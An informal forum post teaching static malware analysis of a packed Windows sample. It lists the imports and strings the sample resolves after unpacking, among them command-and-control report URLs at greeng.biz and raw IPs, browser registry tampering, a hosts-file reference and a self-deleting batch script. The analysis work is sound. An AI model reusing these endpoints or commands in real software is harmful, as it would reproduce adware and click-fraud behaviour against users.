ok when dealing with malwares one doesnt start out debugging it one atleast would have  a cursory glance statically before proceeding to load it in debugger else some clever little tricks may simply trick you into falling for the baits
those who prefer to use thier favourite hexeditor or lordpe or whatever are free to use them 
unzip the attachment (use a virtual machine to follow dont use your production machine to follow unless you are absolutely sure you can deal with consequnces successfully )
what do you notice (if you are familiar already with pe header formats it doesnt look like a normal pe header so you can be sure that this is not a normal binary it could be packed crypted obfuscated whatever 
so no point loading it directly in a debugger lets poke around a little bit more 
lets find the entry point and see if we could deciper some more things before taking the plunge
ok we see te section headers we see its virtual address is 24000 at pointer to raw size is 200 and address of entry point is 27462
we pore over the diassembly and all we see are few calls and short jumps within viewable distances only one jump in there that sticks out like a sore thumb 
from the jump can you really identify the oep ?? just with basic information and the opcodes ?? 
you havent yet loaded it in debugger or a real disassembler that would make your life little easier  but you can still be about 99.9% sure about the oep you would decipher at this stage
some of the imports it resolves and some strings generated after unpacking are like this what do you find if you hunt down information on the urls ? 
Code:
77D40000   Module C:\WINDOWS\system32\user32.dll
0042750B   COND: ReleaseDC
0042750B   COND: GlobalFree
0042750B   COND: GlobalLock
0042750B   COND: GlobalUnlock
0042750B   COND: LocalAlloc
0042750B   COND: LocalFree
0042750B   COND: MultiByteToWideChar
0042750B   COND: ReadFile
0042750B   COND: SetEndOfFile
0042750B   COND: SetFilePointer
0042750B   COND: Sleep
0042750B   COND: WideCharToMultiByte
0042750B   COND: WinExec
0042750B   COND: WriteFile
0042750B   COND: lstrcatA
0042750B   COND: lstrcmpA
0042750B   COND: lstrcmpiA
0042750B   COND: lstrcpyA
0042750B   COND: lstrcpynA
0042750B   COND: lstrlenA
0042750B   COND: GlobalAlloc
0042750B   COND: GetVersionExA
0042750B   COND: GetTickCount
0042750B   COND: GetTempPathA
0042750B   COND: GetSystemDirectoryA
0042750B   COND: GetModuleFileNameA
0042750B   COND: GetCurrentProcess
0042750B   COND: CloseHandle
0042750B   COND: HeapFree
0042750B   COND: HeapAlloc
0042750B   COND: GetProcessHeap
0042750B   COND: GetFileSize
0042750B   COND: CopyFileA
0042750B   COND: CreateFileA
0042750B   COND: DeleteFileA
0042750B   COND: ExitProcess
77F10000   Module C:\WINDOWS\system32\GDI32.dll
77DD0000   Module C:\WINDOWS\system32\advapi32.dll
0042750B   COND: OpenProcessToken
0042750B   COND: LookupPrivilegeValueA
0042750B   COND: RegCloseKey
0042750B   COND: RegOpenKeyExA
0042750B   COND: RegSetValueExA
0042750B   COND: AdjustTokenPrivileges
77E70000   Module C:\WINDOWS\system32\RPCRT4.dll
771B0000   Module C:\WINDOWS\system32\wininet.dll
77C10000   Module C:\WINDOWS\system32\msvcrt.dll
77F60000   Module C:\WINDOWS\system32\SHLWAPI.dll
77A80000   Module C:\WINDOWS\system32\CRYPT32.dll
77B20000   Module C:\WINDOWS\system32\MSASN1.dll
77120000   Module C:\WINDOWS\system32\OLEAUT32.dll
774E0000   Module C:\WINDOWS\system32\ole32.dll
773D0000   Module C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll
0042750B   COND: InternetCloseHandle
0042750B   COND: HttpSendRequestA
0042750B   COND: HttpOpenRequestA
0042750B   COND: FindNextUrlCacheEntryA
0042750B   COND: FindFirstUrlCacheEntryA
0042750B   COND: DeleteUrlCacheEntryA
0042750B   COND: InternetConnectA
77260000   Module C:\WINDOWS\system32\urlmon.dll
0042750B   COND: URLDownloadToFileA
77C00000   Module C:\WINDOWS\system32\VERSION.dll
7C9C0000   Module C:\WINDOWS\system32\shell32.dll
0042750B   COND: ShellExecuteA
0042750B   COND: GetTextExtentPoint32A
0042750B   COND: GetObjectA
0042750B   COND: DeleteObject
0042750B   COND: PatBlt
0042750B   COND: CreateFontA
0042750B   COND: CreateCompatibleDC
0042750B   COND: CreateCompatibleBitmap
0042750B   COND: SelectObject
0042750B   COND: StretchBlt
0042750B   COND: TextOutA
0042750B   COND: CreateDIBitmap
0042750B   COND: CreateDIBSection
0042750B   COND: DeleteDC
0042750B   COND: OleInitialize
0042750B   COND: OleUninitialize
0042750B   COND: CoCreateInstance
0042750B   COND: VariantInit
0042750B   COND: SysFreeString
0042750B   COND: SysAllocString
Text strings referenced in 47547792:
Address    Disassembly                               Text string
00401000   PUSH    EBP                               (Initial CPU selection)
0040121F   PUSH    47547792.00408C3D                 ASCII "complete"
0040125F   PUSH    47547792.00408C48                 ASCII "interactive"
0040127C   PUSH    47547792.00408C54                 ASCII "HL_"
00401281   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
0040128D   PUSH    47547792.00408C58                 ASCII "HD_"
00401292   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004012A9   PUSH    47547792.00408C5C                 ASCII "DO_"
004012AE   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004012BA   PUSH    47547792.00408C60                 ASCII "IW_"
004012BF   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004013FC   PUSH    47547792.00408C64                 ASCII "7search.com/scripts/security/validate.asp"
00401479   PUSH    47547792.00408C94                 ASCII "http://66.199.179.8/search.php"
0040148D   PUSH    47547792.00408CB4                 ASCII "http://65.39.170.123/search.php"
004014B8   PUSH    47547792.00408CD4                 ASCII "http://66.250.74.152/click_second"
00401781   PUSH    47547792.00408CFC                 ASCII "NC2_"
00401786   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004017A6   PUSH    47547792.00408D04                 ASCII "NW_"
004017AB   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004017CE   PUSH    47547792.0040853E                 ASCII "winlogon.exe"
004017F0   PUSH    47547792.0040853E                 ASCII "winlogon.exe"
0040184C   PUSH    47547792.0040854B                 ASCII "%d.%d-"
00401863   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401878   PUSH    47547792.004084EB                 ASCII "no"
0040187D   PUSH    47547792.004084E2                 ASCII "PopupMgr"
00401882   PUSH    47547792.00408487                 ASCII "Software\Microsoft\Internet Explorer\New Windows"
00401891   PUSH    47547792.004084EB                 ASCII "no"
00401896   PUSH    47547792.004084F2                 ASCII "Display Inline Images"
0040189B   PUSH    47547792.004084B8                 ASCII "Software\Microsoft\Internet Explorer\Main"
004018AA   PUSH    47547792.004084EB                 ASCII "no"
004018AF   PUSH    47547792.00408508                 ASCII "Display Inline Videos"
004018B4   PUSH    47547792.004084B8                 ASCII "Software\Microsoft\Internet Explorer\Main"
004018DE   PUSH    47547792.00408AF1                 ASCII "Regsvr32.exe /s shdocvw.dll"
004019B1   PUSH    47547792.00408D08                 ASCII "&er["
004019B6   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004019C5   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004019CF   PUSH    47547792.00408D10                 ASCII "]="
004019D4   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401A19   PUSH    47547792.00408D14                 ASCII "SW_"
00401A1E   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401A4C   PUSH    47547792.00408D18                 ASCII "RB_"
00401A51   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401A6A   PUSH    47547792.00408552                 ASCII "ghdfggf6j.tmp"
00401A82   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401D9C   PUSH    47547792.00408D1C                 ASCII "DC_"
00401DA1   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401E06   PUSH    47547792.00408D20                 ASCII "NL_"
00401E0B   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401E28   PUSH    47547792.00408D24                 ASCII "EC_"
00401E2D   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401E40   PUSH    47547792.00408D28                 ASCII "NC_"
00401E45   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401E65   PUSH    47547792.00408D2C                 ASCII "OW_"
00401E6A   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00401EC7   PUSH    47547792.00408D30                 ASCII "testovaya hren"
0040200B   PUSH    47547792.004085B8                 ASCII "Suurch
findnseek
shopzil
www.suurch.com
"
00402078   PUSH    47547792.00408566                 ASCII "add to card
checkout
continue shopping
download
submit
click here
cart
"
00402223   PUSH    47547792.00408D40                 ASCII "Im_"
00402228   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402284   PUSH    47547792.00408D44                 ASCII "Lim_"
00402289   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004022BC   PUSH    47547792.00408D4C                 ASCII "Tc_"
004022C1   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004022D0   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004023C9   PUSH    47547792.00408D50                 ASCII "Mc_"
004023CE   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004023F5   PUSH    47547792.00408D54                 ASCII "Lp_"
004023FA   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402634   PUSH    47547792.00408D5C                 ASCII "value=no_spyware"
004026EA   PUSH    47547792.00408D70                 ASCII "f1"
0040271B   PUSH    47547792.00408D74                 ASCII "f3"
00402752   PUSH    47547792.00408D78                 ASCII "None"
00402765   PUSH    47547792.00408D80                 ASCII "none"
0040283E   PUSH    47547792.00408D88                 ASCII "FC_"
00402843   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004029F7   PUSH    47547792.00408D8C                 ASCII "Im_"
004029FC   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402A44   PUSH    47547792.00408D90                 ASCII "66.250.74.152/kw_img/img_gen.php"
00402BB4   PUSH    47547792.00408DB4                 ASCII "Im_"
00402BB9   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402C6D   PUSH    47547792.00408DBC                 ASCII "Tc_"
00402C72   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402C81   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402D78   PUSH    47547792.00408DC0                 ASCII "Mc_"
00402D7D   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00402F06   PUSH    47547792.00408DC4                 ASCII "fc"
00402F0B   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
0040304D   PUSH    47547792.00408DC8                 ASCII "ac"
00403052   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00403176   PUSH    47547792.00408DCC                 ASCII "rc"
0040317B   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00403414   PUSH    47547792.00408DD0                 ASCII "BODY_"
00403419   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00403568   PUSH    47547792.00408443                 ASCII "grdsfsd.bat"
00403598   PUSH    47547792.0040844F                 ASCII ":gl234sh
del %1
if exist %1 goto gl234sh
del %0"
004035AB   PUSH    47547792.0040844F                 ASCII ":gl234sh
del %1
if exist %1 goto gl234sh
del %0"
004035C8   ASCII   ""%s"",0
004035D2   PUSH    47547792.004035C8                 ASCII ""%s""
004035F3   PUSH    47547792.00408482                 ASCII "open"
00403759   PUSH    47547792.004085E7                 ASCII "\drivers\etc\hosts"
004038DF   PUSH    47547792.00408DD8                 ASCII "text="
004038F7   PUSH    47547792.00408DE0                 ASCII "&url="
00403911   ASCII   "Content-Type: ap"
00403921   ASCII   "plication/x-www-"
00403931   ASCII   "form-urlencoded",0
0040394A   PUSH    47547792.00408DE8                 ASCII "MyAgent"
0040396B   PUSH    47547792.00408428                 ASCII "greeng.biz"
00403989   PUSH    47547792.00408437                 ASCII "ht/post.php"
0040398E   PUSH    47547792.00408DF0                 ASCII "POST"
004039B0   PUSH    47547792.00403911                 ASCII "Content-Type: application/x-www-form-urlencoded"
00403A4D   PUSH    47547792.00408DF8                 ASCII "Shell DocObject View"
00403A61   PUSH    47547792.00408E0D                 ASCII "Internet Explorer_Server"
00403CA5   MOV     EDI, 47547792.0040863A            ASCII "Arial"
00403D89   PUSH    47547792.00408E26                 ASCII "%ld_%ld_%ld"
00403DA4   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004042E2   PUSH    47547792.00408E34                 ASCII "%lX.png"
00404473   PUSH    47547792.00408E3C                 ASCII "RZ_"
00404478   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
004044CE   PUSH    47547792.00408E40                 ASCII "Arial"
004045BD   PUSH    47547792.00408E48                 ASCII "%lX.png"
004048EC   PUSH    47547792.00408560                 ASCII "-%lX-"
00404907   PUSH    47547792.00408000                 ASCII "http://greeng.biz:2080/rd/rep.php?er[0]="
00404931   PUSH    47547792.00408ADD                 ASCII "SeShutdownPrivilege"
00408000   ASCII   "http://greeng.bi"
00408010   ASCII   "z:2080/rd/rep.ph"
00408020   ASCII   "p?er[0]=",0
00408428   ASCII   "greeng.biz",0
00408437   ASCII   "ht/post.php",0
00408443   ASCII   "grdsfsd.bat",0
0040844F   ASCII   ":gl234sh
del %1"
0040845F   ASCII   "
if exist %1 go"
0040846F   ASCII   "to gl234sh
del "
0040847F   ASCII   "%0",0
00408482   ASCII   "open",0
00408487   ASCII   "Software\Microso"
00408497   ASCII   "ft\Internet Expl"
004084A7   ASCII   "orer\New Windows"
004084B7   ASCII   0
004084B8   ASCII   "Software\Microso"
004084C8   ASCII   "ft\Internet Expl"
004084D8   ASCII   "orer\Main",0
004084E2   ASCII   "PopupMgr",0
004084EB   ASCII   "no",0
004084EE   ASCII   "yes",0
004084F2   ASCII   "Display Inline I"
00408502   ASCII   "mages",0
00408508   ASCII   "Display Inline V"
00408518   ASCII   "ideos",0
0040853E   ASCII   "winlogon.exe",0
0040854B   ASCII   "%d.%d-",0
00408552   ASCII   "ghdfggf6j.tmp",0
00408560   ASCII   "-%lX-",0
00408566   ASCII   "add to card
che"
00408576   ASCII   "ckout
continue "
00408586   ASCII   "shopping
downlo"
00408596   ASCII   "ad
submit
clic"
004085A6   ASCII   "k here
cart
",0
004085B8   ASCII   "Suurch
findnsee"
004085C8   ASCII   "k
shopzil
www."
004085D8   ASCII   "suurch.com
",0
004085E7   ASCII   "\drivers\etc\hos"
004085F7   ASCII   "ts",0
004085FA   ASCII   "ABCDEFGHIJKLMNOP"
0040860A   ASCII   "QRSTUVWXYZabcdef"
0040861A   ASCII   "ghijklmnopqrstuv"
0040862A   ASCII   "wxyz0123456789+_"
0040863A   ASCII   "Arial",0
00408640   ASCII   "Century Gothic",0
0040864F   ASCII   "Haettenschweiler"
0040865F   ASCII   0
00408660   ASCII   "Times New Roman",0
00408670   ASCII   "MS Sans Serif",0
0040867E   ASCII   "AvantGarde Bk BT"
0040868E   ASCII   0
0040868F   ASCII   "Comic Sans MS",0
0040869D   ASCII   "Courier New",0
00408ADD   ASCII   "SeShutdownPrivil"
00408AED   ASCII   "ege",0
00408AF1   ASCII   "Regsvr32.exe /s "
00408B01   ASCII   "shdocvw.dll",0
00408C3D   ASCII   "complete",0
00408C48   ASCII   "interactive",0
00408C54   ASCII   "HL_",0
00408C58   ASCII   "HD_",0
00408C5C   ASCII   "DO_",0
00408C60   ASCII   "IW_",0
00408C83   ASCII   "lidate.asp",0
00408C94   ASCII   "http://66.199.17"
00408CA4   ASCII   "9.8/search.php",0
00408CB4   ASCII   "http://65.39.170"
00408CC4   ASCII   ".123/search.php",0
00408CD4   ASCII   "http://66.250.74"
00408CE4   ASCII   ".152/click_secon"
00408CF4   ASCII   "d",0
00408CFC   ASCII   "NC2_",0
00408D04   ASCII   "NW_",0
00408D08   ASCII   "&er[",0
00408D10   ASCII   "]=",0
00408D14   ASCII   "SW_",0
00408D18   ASCII   "RB_",0
00408D1C   ASCII   "DC_",0
00408D20   ASCII   "NL_",0
00408D24   ASCII   "EC_",0
00408D28   ASCII   "NC_",0
00408D2C   ASCII   "OW_",0
00408D30   ASCII   "testovaya hren",0
00408D40   ASCII   "Im_",0
00408D44   ASCII   "Lim_",0
00408D4C   ASCII   "Tc_",0
00408D50   ASCII   "Mc_",0
00408D54   ASCII   "Lp_",0
00408D5C   ASCII   "value=no_spyware"
00408D6C   ASCII   0
00408D70   ASCII   "f1",0
00408D74   ASCII   "f3",0
00408D78   ASCII   "None",0
00408D80   ASCII   "none",0
00408D88   ASCII   "FC_",0
00408D8C   ASCII   "Im_",0
00408D90   ASCII   "66.250.74.152/kw"
00408DA0   ASCII   "_img/img_gen.php"
00408DB0   ASCII   0
00408DB4   ASCII   "Im_",0
00408DBC   ASCII   "Tc_",0
00408DC0   ASCII   "Mc_",0
00408DC4   ASCII   "fc",0
00408DC8   ASCII   "ac",0
00408DCC   ASCII   "rc",0
00408DD0   ASCII   "BODY_",0
00408DD8   ASCII   "text=",0
00408DE0   ASCII   "&url=",0
00408DE8   ASCII   "MyAgent",0
00408DF0   ASCII   "POST",0
00408DF8   ASCII   "Shell DocObject "
00408E08   ASCII   "View",0
00408E0D   ASCII   "Internet Explore"
00408E1D   ASCII   "r_Server",0
00408E26   ASCII   "%ld_%ld_%ld",0
00408E34   ASCII   "%lX.png",0
00408E3C   ASCII   "RZ_",0
00408E40   ASCII   "Arial",0
00408E48   ASCII   "%lX.png",0